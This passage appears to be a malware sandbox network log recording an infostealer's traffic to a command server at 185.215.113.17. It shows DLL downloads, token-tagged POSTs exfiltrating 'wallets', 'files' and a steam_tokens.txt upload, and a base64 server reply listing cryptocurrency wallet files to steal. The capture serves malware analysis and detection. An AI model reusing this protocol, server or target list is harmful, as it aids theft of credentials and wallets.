6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 47 43 41 46 43 41 46 48 4a 4a 44 42 46 49 45 43 46 42 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------GCAFCAFHJJDBFIECFBKEContent-Disposition: form-data; name="token"57298b66f93ad0d9823b25614709b5544ba1030067462df1bbf387e24f1267b796f5ccbf------GCAFCAFHJJDBFIECFBKEContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------GCAFCAFHJJDBFIECFBKEContent-Disposition: form-data; name="file"------GCAFCAFHJJDBFIECFBKE--
Dec 18, 2024 12:00:23.653248072 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 11:00:23 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 18, 2024 12:00:24.866874933 CET	93	OUT	GET /f1ddeb6592c03206/freebl3.dll HTTP/1.1 Host: 185.215.113.17 Cache-Control: no-cache
Dec 18, 2024 12:00:25.311413050 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 11:00:25 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Dec 18, 2024 12:00:26.555102110 CET	93	OUT	GET /f1ddeb6592c03206/mozglue.dll HTTP/1.1 Host: 185.215.113.17 Cache-Control: no-cache
Dec 18, 2024 12:00:27.006717920 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 11:00:26 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Dec 18, 2024 12:00:27.833151102 CET	94	OUT	GET /f1ddeb6592c03206/msvcp140.dll HTTP/1.1 Host: 185.215.113.17 Cache-Control: no-cache
Dec 18, 2024 12:00:28.377435923 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 11:00:28 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Dec 18, 2024 12:00:28.923695087 CET	90	OUT	GET /f1ddeb6592c03206/nss3.dll HTTP/1.1 Host: 185.215.113.17 Cache-Control: no-cache
Dec 18, 2024 12:00:29.368676901 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 11:00:29 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Dec 18, 2024 12:00:32.401038885 CET	94	OUT	GET /f1ddeb6592c03206/softokn3.dll HTTP/1.1 Host: 185.215.113.17 Cache-Control: no-cache
Dec 18, 2024 12:00:32.845357895 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 11:00:32 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Dec 18, 2024 12:00:33.509293079 CET	98	OUT	GET /f1ddeb6592c03206/vcruntime140.dll HTTP/1.1 Host: 185.215.113.17 Cache-Control: no-cache
Dec 18, 2024 12:00:33.954278946 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 11:00:33 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Dec 18, 2024 12:00:35.235358953 CET	201	OUT	POST /2fb6c2cc8dce150a.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HCFCAAEBGCAKKFIDBKJJ Host: 185.215.113.17 Content-Length: 947 Connection: Keep-Alive Cache-Control: no-cache
Dec 18, 2024 12:00:36.043283939 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 11:00:35 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=84 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 18, 2024 12:00:36.132626057 CET	468	OUT	POST /2fb6c2cc8dce150a.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DGDAEHCBGIIJJJJKKKEH Host: 185.215.113.17 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 47 44 41 45 48 43 42 47 49 49 4a 4a 4a 4a 4b 4b 4b 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 37 32 39 38 62 36 36 66 39 33 61 64 30 64 39 38 32 33 62 32 35 36 31 34 37 30 39 62 35 35 34 34 62 61 31 30 33 30 30 36 37 34 36 32 64 66 31 62 62 66 33 38 37 65 32 34 66 31 32 36 37 62 37 39 36 66 35 63 63 62 66 0d 0a 2d 2d 2d 2d 2d 2d 44 47 44 41 45 48 43 42 47 49 49 4a 4a 4a 4a 4b 4b 4b 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 44 47 44 41 45 48 43 42 47 49 49 4a 4a 4a 4a 4b 4b 4b 45 48 2d 2d 0d 0a Data Ascii: ------DGDAEHCBGIIJJJJKKKEHContent-Disposition: form-data; name="token"57298b66f93ad0d9823b25614709b5544ba1030067462df1bbf387e24f1267b796f5ccbf------DGDAEHCBGIIJJJJKKKEHContent-Disposition: form-data; name="message"wallets------DGDAEHCBGIIJJJJKKKEH--
Dec 18, 2024 12:00:36.581325054 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 11:00:36 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=83 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Dec 18, 2024 12:00:36.843040943 CET	466	OUT	POST /2fb6c2cc8dce150a.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JDAKJDAAFBKFHIEBFCFB Host: 185.215.113.17 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 44 41 4b 4a 44 41 41 46 42 4b 46 48 49 45 42 46 43 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 37 32 39 38 62 36 36 66 39 33 61 64 30 64 39 38 32 33 62 32 35 36 31 34 37 30 39 62 35 35 34 34 62 61 31 30 33 30 30 36 37 34 36 32 64 66 31 62 62 66 33 38 37 65 32 34 66 31 32 36 37 62 37 39 36 66 35 63 63 62 66 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 41 4b 4a 44 41 41 46 42 4b 46 48 49 45 42 46 43 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 41 4b 4a 44 41 41 46 42 4b 46 48 49 45 42 46 43 46 42 2d 2d 0d 0a Data Ascii: ------JDAKJDAAFBKFHIEBFCFBContent-Disposition: form-data; name="token"57298b66f93ad0d9823b25614709b5544ba1030067462df1bbf387e24f1267b796f5ccbf------JDAKJDAAFBKFHIEBFCFBContent-Disposition: form-data; name="message"files------JDAKJDAAFBKFHIEBFCFB--
Dec 18, 2024 12:00:37.290915966 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 11:00:37 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=82 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 18, 2024 12:00:37.554999113 CET	564	OUT	POST /2fb6c2cc8dce150a.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HIIEBAFCBKFIDGCAKKKF Host: 185.215.113.17 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 49 49 45 42 41 46 43 42 4b 46 49 44 47 43 41 4b 4b 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 37 32 39 38 62 36 36 66 39 33 61 64 30 64 39 38 32 33 62 32 35 36 31 34 37 30 39 62 35 35 34 34 62 61 31 30 33 30 30 36 37 34 36 32 64 66 31 62 62 66 33 38 37 65 32 34 66 31 32 36 37 62 37 39 36 66 35 63 63 62 66 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 45 42 41 46 43 42 4b 46 49 44 47 43 41 4b 4b 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 45 42 41 46 43 42 4b 46 49 44 47 43 41 4b 4b 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------HIIEBAFCBKFIDGCAKKKFContent-Disposition: form-data; name="token"57298b66f93ad0d9823b25614709b5544ba1030067462df1bbf387e24f1267b796f5ccbf------HIIEBAFCBKFIDGCAKKKFContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------HIIEBAFCBKFIDGCAKKKFContent-Disposition: form-data; name="file"------HIIEBAFCBKFIDGCAKKKF--
Dec 18, 2024 12:00:38.183183908 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 11:00:37 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=81 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 18, 2024 12:00:38.258001089 CET	473	OUT	POST /2fb6c2cc8dce150a.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HCFCAAEBGCAKKFIDBKJJ Host: 185.215.113.17 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 43 46 43 41 41 45 42 47 43 41 4b 4b 46 49 44 42 4b 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 37 32 39 38 62 36 36 66 39 33 61 64 30 64 39 38 32 33 62 32 35 36 31 34 37 30 39 62 35 35 34 34 62 61 31 30 33 30 30 36 37 34 36 32 64 66 31 62 62 66 33 38 37 65 32 34 66 31 32 36 37 62 37 39 36 66 35 63 63 62 66 0d 0a 2d 2d 2d 2d 2d 2d 48 43 46 43 41 41 45 42 47 43 41 4b 4b 46 49 44 42 4b 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 48 43 46 43 41 41 45 42 47 43 41 4b 4b 46 49 44 42 4b 4a 4a 2d 2d 0d 0a Data Ascii: ------HCFCAAEBGCAKKFIDBKJJContent-Disposition: form-data; name="token"57298b66f93ad0d9823b25614709b5544ba1030067462df1bbf387e24f1267b796f5ccbf------HCFCAAEBGCAKKFIDBKJJContent-Disposition: form-data; name="message"ybncbhylepme------HCFCAAEBGCAKKFIDBKJJ--
Dec 18, 2024 12:00:38.895287991 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 11:00:38 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=80 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 18, 2024 12:00:38.898024082 CET	473	OUT	POST /2fb6c2cc8dce150a.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BAEBGHCFCAAFIECAFIII Host: 185.215.113.17 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 41 45 42 47 48 43 46 43 41 41 46 49 45 43 41 46 49 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 37 32 39 38 62 36 36 66 39 33 61 64 30 64 39 38 32 33 62 32 35 36 31 34 37 30 39 62 35 35 34 34 62 61 31 30 33 30 30 36 37 34 36 32 64 66 31 62 62 66 33 38 37 65 32 34 66 31 32 36 37 62 37 39 36 66 35 63 63 62 66 0d 0a 2d 2d 2d 2d 2d 2d 42 41 45 42 47 48 43 46 43 41 41 46 49 45 43 41 46 49 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 42 41 45 42 47 48 43 46 43 41 41 46 49 45 43 41 46 49 49 49 2d 2d 0d 0a Data Ascii: ------BAEBGHCFCAAFIECAFIIIContent-Disposition: form-data; name="token"57298b66f93ad0d9823b25614709b5544ba1030067462df1bbf387e24f1267b796f5ccbf------BAEBGHCFCAAFIECAFIIIContent-Disposition: form-data; name="message"wkkjqaiaxkhb------BAEBGHCFCAAFIECAFIII--
Dec 18, 2024 12:00:41.813585043 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 11:00:39 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=79 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
